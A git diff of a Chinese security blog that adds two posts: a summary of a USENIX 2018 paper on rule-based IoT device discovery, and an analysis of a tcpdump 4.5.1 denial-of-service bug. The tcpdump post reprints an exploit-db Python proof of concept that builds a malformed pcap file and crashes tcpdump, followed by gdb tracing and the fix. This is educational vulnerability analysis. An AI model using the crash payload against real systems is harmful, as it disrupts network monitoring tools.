diff --git a/2000/01/01/hello-world/index.html b/2000/01/01/hello-world/index.html index 3bb6bef3..dd176d72 100644 --- a/2000/01/01/hello-world/index.html +++ b/2000/01/01/hello-world/index.html @@ -548,7 +548,7 @@ - 6 + 7 日志 @@ -647,7 +647,7 @@ - 7.7k + 11.1k diff --git a/2018/11/16/BIBA访问控制模型实现(python)/index.html b/2018/11/16/BIBA访问控制模型实现(python)/index.html index 4bdf4155..09e3b31d 100644 --- a/2018/11/16/BIBA访问控制模型实现(python)/index.html +++ b/2018/11/16/BIBA访问控制模型实现(python)/index.html @@ -632,8 +632,8 @@
-
@@ -720,7 +720,7 @@ - 6 + 7 日志 @@ -835,7 +835,7 @@ - 7.7k + 11.1k diff --git a/2018/12/23/基于规则引擎发现IOT设备/index.html b/2018/12/23/基于规则引擎发现IOT设备/index.html new file mode 100644 index 00000000..09c8e62c --- /dev/null +++ b/2018/12/23/基于规则引擎发现IOT设备/index.html @@ -0,0 +1,1405 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Acquisitional Rule-based Engine for Discovering Internet-of-Things Devices | 混元霹雳手 + + + + + + + + + + + + + + + + + + +
+
+ + + +
+
+
+
+ + +
+ + + + + + + + +
+ + + +
+ + + + + + + +
+ + + +

Acquisitional Rule-based Engine for Discovering Internet-of-Things Devices

+ + +
+ + + + + + + 发表于 + + + + + + + + + + + + + | + + + + + + 分类于 + + + + + + + + + + + + + + + + | + + + + + + + + + + + + + + | + + + + + 阅读次数: + + + + + + + + +
+ + + + + + + + 1.4k 字 + + + + + | + + + + + + + + + 4 分钟 + + +
+ + + + +
+
+ + + + + +
+ + + + + +

论文来源：USENIX SECURITY 2018
下载：
原文pdf
中文slides

+

论文解读

1. 概要：

    +
  • 物联网（IoT）设备的快速增长的格局为其管理和安全性带来了重大的技术挑战，因为这些物联网设备来自不同的设备类型，供应商和产品模型。
    • +
  • 物联网设备的发现是表征，监控和保护这些设备的先决条件。然而，手动设备注释阻碍了大规模发现，并且基于机器学习的设备分类需要具有标签的大型训练数据。因此，大规模的自动设备发现和注释仍然是物联网中的一个悬而未决的问题。
    • +
  • 这篇文章提出了一种基于采集规则的引擎（ARE），它可以自动生成用于在没有任何训练数据的情况下发现和注释物联网设备的规则。ARE通过利用来自物联网设备的应用层响应数据和相关网站中的产品描述来构建设备规则，以进行设备注释。我们将事务定义为对产品描述的唯一响应之间的映射。
    • +
  • 为了收集交易集，ARE提取响应数据中的相关术语作为抓取网站的搜索查询。ARE使用关联算法以（类型，供应商和产品）的形式生成物联网设备注释的规则。我们进行实验和三个应用程序来验证ARE的有效性。
    • +
+

2. 背景与动机：

    +
  • 物联网蓬勃发展，造就了物联网设备的广泛应用，它不仅种类繁多，包括摄像头、打印机、路由器、电视盒子、工控系统、医疗设备等，而且数量庞大，据统计，每天就会新增5500000台物联网设备。
    • +
  • 但是由于设备脆弱、缺乏管理和配置不当，物联网设备相比传统计算机要更不安全，比如之前爆发的Mirai僵尸网络，给美国造成了重大的损失。因此，为了更主动地保护IOT设备，提前发现、登记和注释物联网设备成为先决条件。
    • +
  • 设备注释的内容通常为“设备类型(e.g.,routers) + 供应商(e.g.,CISCO) + 产品型号(e.g.,TV-IP302P)”，传统生成设备注释的方法有基于指纹的，也有使用标志获取的，前者对数据集和大量设备模型的要求很高，而后者需要专业知识的人工方式，因此不可能用于大规模注释而且很难去维护更新。
    • +
+

+

所以，作者希望提出一种减少对数据集和人工依赖的注释方式。本文的方法主要基于两个事实，第一个Figure 1是制造商通常会将相关信息硬编码到IOT设备，第二个Figure 2是有许多网站（如产品测评）会描述设备产品。从第一个事实，我们可以从应用层数据包获取关键词，然后根据这些关键词依据第二个事实进行网页爬虫，以获取网页上的相关描述，然后对这些描述进行自然语言处理和数据挖掘，从而建立起基于规则的映射。

+

3. 核心工作—Rule Miner：

+

Rule Miner由三个部分构成，Transaction set是一对由应用层数据和相关网页组成的文本单元，它生成了一种规则： ，其中A是从应用层数据包中提取的一些特征，B是从相关网页抓取的设备描述；Device entity recognition结合了基于语料库的NER和基于规则的NER(命名实体识别)，前者解决了设备类型和供应商名，后者使用正则表达式识别出产品型号。但是由于一个不相干的网页也可能包含设备类型的关键词(如switch)，以及一个短语可能因为满足正则表达式而被认为是型号所以表现并不好，但好在实体与实体之间具有很高的依赖性，这三个元素常常一起出现。数据挖掘算法Apriori algorithm用于从Transaction中学习“关系”。

+

4. 完整架构和应用

+

完整的ARE除了核心Rule Miner之外，还有Transaction Collection用于收集响应数据和网络爬虫，Rule Library用于存储生成的规则，Planner用于更新规则。
作者主要将ARE应用于三个方面，一是互联网范围的设备测量统计，二是对受损设备进行检测，三是对易受攻击的设备进行分析。

之后对ARE的效果与Nmap进行比较和评估，从产生规则的数量、规则的准确率和覆盖率、动态学习规则的能力以及时间代价，ARE都要优于Nmap。

+

5. 工作总结：

    +
  • 提出ARE的框架：不需要数据集和人工干预，自动生成用于IOT设备识别的规则。
    • +
  • 实现了ARE的原型并评估了它的效果：ARE在一周内生成了大量的规则，而且IOT设备识别的细粒度超过现有工具。
    • +
  • 应用于三个场景中，主要发现有：大量IOT设备在互联网中可以抵达；成千上万的IOT设备易受攻击且暴露给了公众。
    • +
+ + +
+ + + + + + + +
+
+
您的支持将鼓励我继续创作！
+ + +
+ +
+ + + + + +
+ + + +
+ + + +
+ +
+
+ + +
+ + + + + + +
+ +
+ +
+ + + + + +
+ + + +
+
+ + + +
+
+ + + + + +
+
+ + + + +
+ + +
+ + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html b/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html index 4b299165..9d2a6763 100644 --- a/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html +++ b/2019/01/16/wifi半双工侧信道攻击学习笔记/index.html @@ -651,8 +651,8 @@ Server -------wire----------|
-
@@ -749,7 +749,7 @@ Server -------wire----------| - 6 + 7 日志
@@ -864,7 +864,7 @@ Server -------wire----------| - 7.7k + 11.1k diff --git a/2019/02/22/qq数据库的加密解密/index.html b/2019/02/22/qq数据库的加密解密/index.html index 3bf5eb80..d32d8448 100644 --- a/2019/02/22/qq数据库的加密解密/index.html +++ b/2019/02/22/qq数据库的加密解密/index.html @@ -599,7 +599,7 @@ - 6 + 7 日志 @@ -714,7 +714,7 @@ - 7.7k + 11.1k diff --git a/2019/03/16/小米固件工具mkxqimage/index.html b/2019/03/16/小米固件工具mkxqimage/index.html index b185be24..f0679f69 100644 --- a/2019/03/16/小米固件工具mkxqimage/index.html +++ b/2019/03/16/小米固件工具mkxqimage/index.html @@ -518,8 +518,8 @@
-
@@ -606,7 +606,7 @@ - 6 + 7 日志 @@ -721,7 +721,7 @@ - 7.7k + 11.1k diff --git a/2019/12/25/TCPDUMP拒绝服务攻击漏洞/index.html b/2019/12/25/TCPDUMP拒绝服务攻击漏洞/index.html new file mode 100644 index 00000000..916668c2 --- /dev/null +++ b/2019/12/25/TCPDUMP拒绝服务攻击漏洞/index.html @@ -0,0 +1,1371 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + TCPDUMP拒绝服务攻击漏洞 | 混元霹雳手 + + + + + + + + + + + + + + + + + + +
+
+ + + +
+
+
+
+ + +
+ + + + + + + + +
+ + + +
+ + + + + + + +
+ + + +

TCPDUMP拒绝服务攻击漏洞

+ + +
+ + + + + + + 发表于 + + + + + + + + + + + + + + + | + + + + + + + + + + + + + + | + + + + + 阅读次数: + + + + + + + + +
+ + + + + + + + 3.4k 字 + + + + + | + + + + + + + + + 16 分钟 + + +
+ + + + +
+
+ + + + + +
+ + + + + +

TCPDUMP 4.5.1 拒绝服务攻击漏洞分析

一、Tcpdump介绍

    +
  1. tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统：包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中，tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump；它需要WinPcap驱动，相当于在Linux平台下的libpcap.
    2. +
  2. tcpdump能够分析网络行为，性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤，并提供and、or、not等逻辑语句来帮助你去掉无用的信息，从而使用户能够进一步找出问题的根源。
    3. +
  3. 也可以使用 tcpdump 的实现特定目的，例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量，如Telnet或HTTP的数据包，查看登录的用户名、密码、网址、正在浏览的网站内容，或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁，而是对网络上的其他计算机的安全存在威胁。
    4. +
+

二、分析环境

Ubuntu 16.04.4 LTS i686
tcpdump 4.5.1
gdb with peda

+

三、漏洞复现

这个漏洞触发的原因是，tcpdump在处理特殊的pcap包的时候，由于对数据包传输数据长度没有进行严格的控制，导致在连续读取数据包中内容超过一定长度后，会读取到无效的内存空间，从而导致拒绝服务的发生。对于这个漏洞，首先要对pcap包的结构进行一定的分析，才能够最后分析出漏洞的成因，下面对这个漏洞进行复现。

+

1.编译安装tcpdump

1
2
3
4
5
6
7
8
9
10
11
1.	# apt-get install libpcap-dev
2.	# dpkg -l libpcap-dev
3.	# wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
4.	# tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
5.	# cd tcpdump-4.5.1/
6.	# ./configure
7.	# make
8.	# make install
9.	# tcpdump –-version
          tcpdump version 4.5.1
          libpcap version 1.7.4
+

2.生成payload（来自exploit-db payload）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Exploit Title: tcpdump 4.5.1 Access Violation Crash
# Date: 31st May 2016
# Exploit Author: David Silveiro
# Vendor Homepage: http://www.tcpdump.org
# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
# Version: 4.5.1
# Tested on: Ubuntu 14 LTS
from subprocess import call
from shlex import split
from time import sleep

def crash():
    command = 'tcpdump -r crash'
    buffer     =   '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
    buffer     +=  '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
    buffer     +=  '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
    buffer     +=  '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
    buffer     +=  "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
    buffer     +=  "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
    buffer     +=  '\x00\x00\x00\x00\x01\x03\x03\x04'
    with open('crash', 'w+b') as file:
        file.write(buffer)
    try:
        call(split(command))
        print("Exploit successful!             ")
    except:
        print("Error: Something has gone wrong!")
def main():
    print("Author:   David Silveiro                           ")
    print("   tcpdump version 4.5.1 Access Violation Crash    ")
    sleep(2)
    crash()
if __name__ == "__main__":
    main()
+

四、崩溃分析

1.pcap包格式

首先来分析一下pcap包的格式，首先是pcap文件头的内容，在.h有所定义，这里将结构体以及对应变量含义都列出来。

1
2
3
4
5
6
7
8
9
struct pcap_file_header {
        bpf_u_int32 magic;
        u_short version_major;
        u_short version_minor;
        bpf_int32 thiszone;     /* gmt to local correction */
        bpf_u_int32 sigfigs;    /* accuracy of timestamps */
        bpf_u_int32 snaplen;    /* max length saved portion of each pkt */
        bpf_u_int32 linktype;   /* data link type (LINKTYPE_*) */
};

+

看一下各字段的含义：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 magic：   4字节 pcap文件标识 目前为“d4 c3 b2 a1”
 major：   2字节 主版本号     #define PCAP_VERSION_MAJOR 2
 minor：   2字节 次版本号     #define PCAP_VERSION_MINOR 4
 thiszone：4字节 时区修正     并未使用，目前全为0
 sigfigs： 4字节 精确时间戳   并未使用，目前全为0
 snaplen： 4字节 抓包最大长度 如果要抓全，设为0x0000ffff（65535），
          tcpdump -s 0就是设置这个参数，缺省为68字节
 linktype：4字节 链路类型    一般都是1：ethernet

struct pcap_pkthdr {
        struct timeval ts;      /* time stamp */
        bpf_u_int32 caplen;     /* length of portion present */
        bpf_u_int32 len;        /* length this packet (off wire) */
};
struct timeval {
        long            tv_sec;         /* seconds (XXX should be time_t) */
        suseconds_t     tv_usec;        /* and microseconds */
};
 ts：    8字节 抓包时间 4字节表示秒数，4字节表示微秒数
 caplen：4字节 保存下来的包长度（最多是snaplen，比如68字节）
 len：   4字节 数据包的真实长度，如果文件中保存的不是完整数据包，可能比caplen大

+

其中len变量是值得关注的，因为在crash文件中，对应len变量的值为00 3C 9C 37
这是一个很大的值，读取出来就是379C3C00，数非常大，实际上在wireshark中打开这个crash文件，就会报错，会提示这个数据包的长度已经超过了范围，而换算出来的长度就是379C3C00，这是触发漏洞的关键。

+

2.gdb调试

首先通过gdb运行tcpdump，用-r参数打开poc生成的crash，tcp崩溃，到达漏洞触发位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1.	Program received signal SIGSEGV, Segmentation fault.
2.	[----------------------------------registers-----------------------------------]
3.	EAX: 0x1
4.	EBX: 0x81e33bd --> 0x0
5.	ECX: 0x2e ('.')
6.	EDX: 0x0
7.	ESI: 0xbfffe201 ('.' <repeats 14 times>)
8.	EDI: 0xbfffe1db --> 0x30303000 ('')
9.	EBP: 0x10621
10.	ESP: 0xbfffe1ac --> 0x8053caa (<hex_and_ascii_print_with_offset+170>:   mov    ecx,DWORD PTR [esp+0xc])
11.	EIP: 0x8053c6a (<hex_and_ascii_print_with_offset+106>:  movzx  edx,BYTE PTR [ebx+ebp*2+0x1])
12.	EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
13.	[-------------------------------------code-------------------------------------]
14.	   0x8053c5d <hex_and_ascii_print_with_offset+93>:      je     0x8053d40 <hex_and_ascii_print_with_offset+320>
15.	   0x8053c63 <hex_and_ascii_print_with_offset+99>:      mov    ebx,DWORD PTR [esp+0x18]
16.	   0x8053c67 <hex_and_ascii_print_with_offset+103>:     sub    esp,0x4
17.	=> 0x8053c6a <hex_and_ascii_print_with_offset+106>:     movzx  edx,BYTE PTR [ebx+ebp*2+0x1]
18.	   0x8053c6f <hex_and_ascii_print_with_offset+111>:     movzx  ecx,BYTE PTR [ebx+ebp*2]
19.	   0x8053c73 <hex_and_ascii_print_with_offset+115>:     push   edx
20.	   0x8053c74 <hex_and_ascii_print_with_offset+116>:     mov    ebx,edx
21.	   0x8053c76 <hex_and_ascii_print_with_offset+118>:     mov    DWORD PTR [esp+0x18],edx
22.	[------------------------------------stack-------------------------------------]
23.	0000| 0xbfffe1ac --> 0x8053caa (<hex_and_ascii_print_with_offset+170>:  mov    ecx,DWORD PTR [esp+0xc])
24.	0004| 0xbfffe1b0 --> 0xb7fff000 --> 0x23f3c
25.	0008| 0xbfffe1b4 --> 0x1
26.	0012| 0xbfffe1b8 --> 0x2f5967 ('gY/')
27.	0016| 0xbfffe1bc --> 0x0
28.	0020| 0xbfffe1c0 --> 0x0
29.	0024| 0xbfffe1c4 --> 0x7ffffff9
30.	0028| 0xbfffe1c8 --> 0x81e33bd --> 0x0
31.	[------------------------------------------------------------------------------]
32.	Legend: code, data, rodata, value
33.	Stopped reason: SIGSEGV
34.	hex_and_ascii_print_with_offset (ident=0x80c04af "\n\t", cp=0x8204000 <error: Cannot access memory at address 0x8204000>,
35.	    length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91
36.	91                      s2 = *cp++;

+

从崩溃信息来看，出错位置为s2 = cp++;崩溃原因为SIGSEGV，即进程执行了一段无效的内存引用或发生段错误。可以看到，问题出现在./print-ascii.c:91，而且此时指针读取[ebx+ebp2+0x1]的内容，可能是越界读取造成的崩溃。
再结合源码信息可知，指针cp在自加的过程中访问到了一个没有权限访问的地址，因为这是写在一个while循环里，也就是是说nshorts的值偏大，再看nshorts怎么来的，由此nshorts = length / sizeof(u_short);可知，可能是函数传入的参数length没有控制大小导致，因此目标就是追踪length是如何传入的。
我们通过bt回溯一下调用情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
1.	gdb-peda$ bt
2.	#0  hex_and_ascii_print_with_offset (ident=0x80c04af "\n\t", cp=0x8204000 <error: Cannot access memory at address 0x8204000>,
3.	    length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91
4.	#1  0x08053e26 in hex_and_ascii_print (ident=0x80c04af "\n\t", cp=0x81e33bd "", length=0xfffffff3) at ./print-ascii.c:127
5.	#2  0x08051e7d in ieee802_15_4_if_print (ndo=0x81e1320 <Gndo>, h=0xbfffe40c, p=<optimized out>) at ./print-802_15_4.c:180
6.	#3  0x080a0aea in print_packet (user=0xbfffe4dc " \023\036\b\300\034\005\b\001", h=0xbfffe40c, sp=0x81e33a8 "@\377")
7.	    at ./tcpdump.c:1950
8.	#4  0xb7fa3468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
9.	#5  0xb7f940e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
10.	#6  0x0804b3dd in main (argc=0x3, argv=0xbffff6c4) at ./tcpdump.c:1569
11.	#7  0xb7de9637 in __libc_start_main (main=0x804a4c0 <main>, argc=0x3, argv=0xbffff6c4, init=0x80b1230 <__libc_csu_init>,
12.	    fini=0x80b1290 <__libc_csu_fini>, rtld_fini=0xb7fea880 <_dl_fini>, stack_end=0xbffff6bc) at ../csu/libc-start.c:291
13.	#8  0x0804c245 in _start ()

+

函数调用流程

1
2
3
4
pcap_loop
  |----print_packet
                 |-----hex_and_ascii_print
                                |--------  hex_and_ascii_print_with_offset

+

由此可见，从main函数开始了一连串函数调用，git源码下来看看。
tcpdump.c找到pcap_loop调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1.	    do {
2.	        status = pcap_loop(pd, cnt, callback, pcap_userdata);
3.	        if (WFileName == NULL) {
4.	            /*
5.	             * We're printing packets.  Flush the printed output,
6.	             * so it doesn't get intermingled with error output.
7.	             */
8.	            if (status == -2) {
9.	                /*
10.	                 * We got interrupted, so perhaps we didn't
11.	                 * manage to finish a line we were printing.
12.	                 * Print an extra newline, just in case.
13.	                 */
14.	                putchar('n');
15.	            }
16.	            (void)fflush(stdout);
17.	        }

+

设置断点之后查看一下该函数的执行结果

+

pcap_loop通过callback指向print_packet,来看一下它的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1.	static void
2.	print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)
3.	{
4.	    struct print_info *print_info;
5.	    u_int hdrlen;
6.	    ++packets_captured;
7.	    ++infodelay;
8.	    ts_print(&h->ts);
9.	    print_info = (struct print_info *)user;
10.	    /*
11.	     * Some printers want to check that they're not walking off the
12.	     * end of the packet.
13.	     * Rather than pass it all the way down, we set this global.
14.	     */
15.	    snapend = sp + h->caplen;
16.	        if(print_info->ndo_type) {
17.	                hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);<====
18.	        } else {
19.	                hdrlen = (*print_info->p.printer)(h, sp);
20.	        }
21.	    putchar('n');
22.	    --infodelay;
23.	    if (infoprint)
24.	        info(0);}

+

同样设置断点看该函数是如何调用执行的

+

这是我们可以根据call的信息，计算出调用的函数名

+

其中(*print_info->p.ndo_printer)(print_info->ndo,h,sp)指向ieee802_15_4_if_print

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
25.	u_int
26.	ieee802_15_4_if_print(struct netdissect_options *ndo,
27.	const struct pcap_pkthdr *h, const u_char *p)
28.	{
29.	printf("address : %x\n",p);
30.	u_int caplen = h->caplen; //传入的caplen，赋值给无符号整形变量caplen,且该值为8
31.	int hdrlen;
32.	u_int16_t fc;
33.	u_int8_t seq;
34.	if (caplen < 3) { //不满足
35.	ND_PRINT((ndo, "[|802.15.4] %x", caplen));
36.	return caplen;
37.	}
38.	fc = EXTRACT_LE_16BITS(p);
39.	hdrlen = extract_header_length(fc);
40.	seq = EXTRACT_LE_8BITS(p + 2);
41.	p += 3;
42.	caplen -= 3;//此时caplen = 5
43.	ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
44.	if (vflag)
45.	ND_PRINT((ndo,"seq %02x ", seq));
46.	if (hdrlen == -1) {
47.	ND_PRINT((ndo,"malformed! "));
48.	return caplen;
49.	}
50.	if (!vflag) {
51.	p+= hdrlen;
52.	caplen -= hdrlen;
53.	} else {
54.	u_int16_t panid = 0;
55.	switch ((fc >> 10) & 0x3) {
56.	case 0x00:
57.	ND_PRINT((ndo,"none "));
58.	break;
59.	case 0x01:
60.	ND_PRINT((ndo,"reserved destination addressing mode"));
61.	return 0;
62.	case 0x02:
63.	panid = EXTRACT_LE_16BITS(p);
64.	p += 2;
65.	ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
66.	p += 2;
67.	break;
68.	case 0x03:
69.	panid = EXTRACT_LE_16BITS(p);
70.	p += 2;
71.	ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p)));
72.	p += 8;
73.	break;
74.	}
75.	ND_PRINT((ndo,"< ");
76.	switch ((fc >> 14) & 0x3) {
77.	case 0x00:
78.	ND_PRINT((ndo,"none "));
79.	break;
80.	case 0x01:
81.	ND_PRINT((ndo,"reserved source addressing mode"));
82.	return 0;
83.	case 0x02:
84.	if (!(fc & (1 << 6))) {
85.	panid = EXTRACT_LE_16BITS(p);
86.	p += 2;
87.	}
88.	ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
89.	p += 2;
90.	break;
91.	case 0x03:
92.	if (!(fc & (1 << 6))) {
93.	panid = EXTRACT_LE_16BITS(p);
94.	p += 2;
95.	}
96.	ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p))));
97.	p += 8;
98.	break;
99.	}
100.	caplen -= hdrlen;
101.	}
+

传入的第二个值是struct pcap_pkthdr *h结构体，函数使用的参数caplen就是结构体中的caplen，不难看出，caplen进行一些加减操作后，没有判断正负，直接丢给了下一个函数使用。
直接跟进函数，看看最后赋值情况

+

从源码和调试信息可以看到libpcap在处理不正常包时不严谨，导致包的头长度hdrlen竟然大于捕获包长度caplen，并且在处理时又没有相关的判断。hdrlen和caplen都是非负整数，导致caplen==0xfffffff3过长。
继续跟进hex_and_asciii_print(ndo_default_print)

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1.	void
2.	hex_and_ascii_print(register const char *ident, register const u_char *cp,
3.	    register u_int length)
4.	{
5.	    hex_and_ascii_print_with_offset(ident, cp, length, 0);
6.	}

其中length==0xfffffff3，继续执行
1.	void
2.	hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,
3.	              register u_int oset)
4.	{
5.	    register u_int i, s;
6.	    register int nshorts;
7.
8.	    nshorts = (u_int) length / sizeof(u_short);
9.	    i = 0;
10.	    while (--nshorts >= 0) {
11.	        if ((i++ % 8) == 0) {
12.	            (void)printf("%s0x%04x: ", ident, oset);
13.	            oset += HEXDUMP_BYTES_PER_LINE;
14.	        }
15.	        s = *cp++;   <======= 抛出错误位置
16.	        (void)printf(" %02x%02x", s, *cp++);
17.	    }
18.	    if (length & 1) {
19.	        if ((i % 8) == 0)
20.	            (void)printf("%s0x%04x: ", ident, oset);
21.	        (void)printf(" %02x", *cp);
22.	    }
nshorts=(u_int) length / sizeof(u_short) => nshorts=0xfffffff3/2=‭7FFFFFF9‬‬‬‬
+

但数据包数据没有这么长，导致了crash。

+

3.内存分析

仔细分析之后发现，通过len判断的这个长度并没有进行控制，如果是自己构造的一个超长len的数据包，则会连续读取到不可估计的值。
通过查看epx的值来看一下这个内存到底开辟到什么位置

1
2
3
4
1.	gdb-peda$ x/10000000x 0x81e33bd
2.	0x8203fdd:      0x00000000      0x00000000      0x00000000      0x00000000
3.	0x8203fed:      0x00000000      0x00000000      0x00000000      0x00000000
4.	0x8203ffd:      Cannot access memory at address 0x8204000

+

可以看到，到达0x 8204000附近的时候，就是无法读取的无效地址了，那么初始值为0x 81e33bd，用两个值相减。0x 8204000-0x 81e33bd = 0x 20c40，因为ebx+ebp*2+0x1一次读取两个字节，那么循环计数器就要除以2，最后结果为0x 10620。
来看一下到达拒绝服务位置读取的长度：EBX: 0x81e33bd –> 0x0；EBP: 0x10621；
EBP刚好为10621。正是不可读取内存空间的地址，因此造成拒绝服务。

+

4.漏洞总结

总结一下整个漏洞触发过程，首先tcpdump会读取恶意构造的pcap包，在构造pcap包的时候，设置一个超长的数据包长度，tcpdump会根据len的长度去读取保存在内存空间数据包的内容，当引用到不可读取内存位置时，会由于引用不可读指针，造成拒绝服务漏洞。

+

五、漏洞修补

Libpcap依然是apt安装的默认版本，tcpdump使用4.7 .0-bp版本
在hex_and_ascii_print_with_offset中增加对caplength的判断

1
2
3
4
5
6
7
8
9
1.	caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;
2.	if (length > caplength)
3.	    length = caplength;
4.	nshorts = length / sizeof(u_short);
5.	i = 0;
6.	hsp = hexstuff; asp = asciistuff;
7.	while (--nshorts >= 0) {
8.	    ...
9.	}

+

可以看到执行完caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;，caplength为0，继续执行，可以推出length同样为0，到这里已经不会发生错误了。

+

参考
exploit-db payload
WHEREISK0SHL分析博客
libpcap/tcpdump源码

+ + +
+ + + + + + + +
+
+
您的支持将鼓励我继续创作！
+ + +
+ +
+ + + + + +
+ + + +
+ + + +
+ +
+
+ + +
+ + + + + + +
+ +
+ +
+ + + + + +
+ + + +
+
+ + + +
+
+ + + + + +
+
+ + + + +
+ + +
+ + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/about/index.html b/about/index.html index 0c4f703e..5f3130b6 100644 --- a/about/index.html +++ b/about/index.html @@ -357,7 +357,7 @@ - 6 + 7 日志 @@ -456,7 +456,7 @@ - 7.7k + 11.1k diff --git a/archives/2000/01/index.html b/archives/2000/01/index.html index 63e2f3de..77ae7537 100644 --- a/archives/2000/01/index.html +++ b/archives/2000/01/index.html @@ -289,7 +289,7 @@ - 嗯..! 目前共计 6 篇日志。 继续努力。 + 嗯..! 目前共计 7 篇日志。 继续努力。 @@ -387,7 +387,7 @@ - 6 + 7 日志 @@ -486,7 +486,7 @@ - 7.7k + 11.1k diff --git a/archives/2000/index.html b/archives/2000/index.html index 4bf2fb03..afc6bf5d 100644 --- a/archives/2000/index.html +++ b/archives/2000/index.html @@ -289,7 +289,7 @@ - 嗯..! 目前共计 6 篇日志。 继续努力。 + 嗯..! 目前共计 7 篇日志。 继续努力。 @@ -387,7 +387,7 @@ - 6 + 7 日志 @@ -486,7 +486,7 @@ - 7.7k + 11.1k diff --git a/archives/2018/11/index.html b/archives/2018/11/index.html index fdc18124..779c4131 100644 --- a/archives/2018/11/index.html +++ b/archives/2018/11/index.html @@ -289,7 +289,7 @@ - 嗯..! 目前共计 6 篇日志。 继续努力。 + 嗯..! 目前共计 7 篇日志。 继续努力。 @@ -387,7 +387,7 @@ - 6 + 7 日志 @@ -486,7 +486,7 @@ - 7.7k + 11.1k diff --git a/archives/2018/12/index.html b/archives/2018/12/index.html new file mode 100644 index 00000000..b04910b2 --- /dev/null +++ b/archives/2018/12/index.html @@ -0,0 +1,1126 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 归档 | 混元霹雳手 + + + + + + + + + + + + + + + + + + +
+
+ + + +
+
+
+
+ + + + + +
+
+ + + + + + + + + 嗯..! 目前共计 7 篇日志。 继续努力。 + + + + + + + + + + +
+

2018

+
+ + + + + + + + + + + +
+
+ + + + + + + + +
+ + + + + +
+ + + +
+
+ + + +
+
+ + + + + +
+
+ + + + +
+ + +
+ + + + +
